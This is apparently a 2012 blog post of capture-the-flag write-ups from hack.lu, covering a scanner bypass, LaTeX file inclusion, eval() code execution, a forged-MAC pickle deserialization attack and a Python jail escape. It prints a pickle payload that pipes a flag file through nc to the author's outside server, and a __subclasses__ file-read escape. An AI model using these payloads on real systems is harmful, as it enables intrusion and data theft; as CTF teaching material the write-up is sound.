Thursday, October 25, 2012

Hack.lu CTF 2012: Multiple Writeups

This week, I participated in the hack.lu ctf. Here are writeups of the challenges I played.

Zombie AV

In this challenge, you're presented a service that scans executables for a certain set of instructions ("the zombie virus"). If it's found in an executable you upload, the server runs it. Seems easy enough. Here's the catch: the instructions have to appear starting at the entry point of the executable, and the last instruction is an int 0x80. This a system call that exits the process, which essentially prevents any useful code from running.

The flaw here is how the entry point is discovered. The command readelf is run by the scanner, and the entry point is parsed using the regular expression /0x[a-fA-F0-9]{5,8}/. So now we know in order to trick the scanner, we have to make readelf report another address that matches the regex. We can do that using the "version" field.
One way to achieve this is to use a hex editor and change 0x1 to the address of the zombie virus. This way, the scanner thinks the virus appears at the entry point, but the real entry point is our code, which reads out config.php. Here's my code:
nasm -f elf hello.asm
gcc -o hello hello.o -nostartfiles

It's not scientific without LaTeX

Another straightforward challenge. You're given a text editor that creates documents through latex input. Your goal is to read a textfile off the server that contains some cure. Sounds like ye olde file inclusion to me. Certain file reading latex commands would cause the pdf to read "Do you think this is really that easy?" so a part of the challenge was finding one that would actually work. I used \verbatiminput but couldn't fully read the key, as it went off screen.
I ended up messing around with the syntax, until something broke. The error message contained the contents of the file and I was set.

Spambot

Here, you're given access to a spambot which can break basic spam techniques that rely on math formulas. The goal is to break the spambot and retrieve a key. This one is fairly easy to solve once you realize it solves captchas by eval()ing them, and hoping it's a formula. We can confirm this by writing our own form and see what we get from the bot.
Once we have code execution, we can navigate the system to find the key.

Zombie Reminder

This was a pretty straightforward challenge. There's a form that stores your input and makes it available for the duration of your session. After a quick once-over of the source code, there are two obvious things: data from the client is verified via a MAC; that data once verified, is sent through Pickle. For those who don't know, pickle is pretty much python's take on serializing. If done unsafely, it could lead to code execution. And that's the challenge here.

Before we can even attempt getting code execution, we need to figure out the secret key used to generate the sha256 MAC. From the code, we can see this is just a 5 character combination of random alphanumeric characters. This is trivial to bruteforce locally. After figuring out the secret, we can sign our own cookie values and send arbitrary pickles!!
Now let's get our code running. The function I pickled was os.system() so I'd be able to run system commands. I ran into a problem though; os.system() doesn't return the output of the commands, and I couldn't get popen working. I used a pretty cheap trick to get that output. Here's my pickle:
cos\nsystem\n(S'cat /var/www/flag | nc omar.li 9837'\ntR.
What this does is pipe the output of any command into a socket running on my server. So although the page wouldn't display the output of my command, my server would receive it anyway.

Python Jail

Here, you're given a "jailed" python interpreter. All functions that would be useful to us to break out of the jail are removed from the global namespace: __import__, open, file, etc. How can we read a file if these are not available to us? My first attempt was to try get the jail to execute python bytecode. After achieving this, I realized how useless this was. Python bytecode is so high level that even with it, you cannot do anything more than what you could achieve by writing code directly.

The trick is to navigate the built in objects. Using dir(), we can navigate around until we find something that lets us read a file. We can use the "object" object and to obtain a list of its subtypes, of which includes the "file" object.
object.__subclasses__()[40]("key.txt").read()
From this, we can see that just because something is removed from the global namespace, it does not mean it is inaccessible.

Conclusion

This was a pretty fun ctf. Although this was a relatively short ctf, the challenges were pretty interesting. A++++ 12/10 would play again.

Related Links

Why Python Pickle is Insecure
Eval really is dangerous
Are Text-Only Data Formats Safe? [PDF]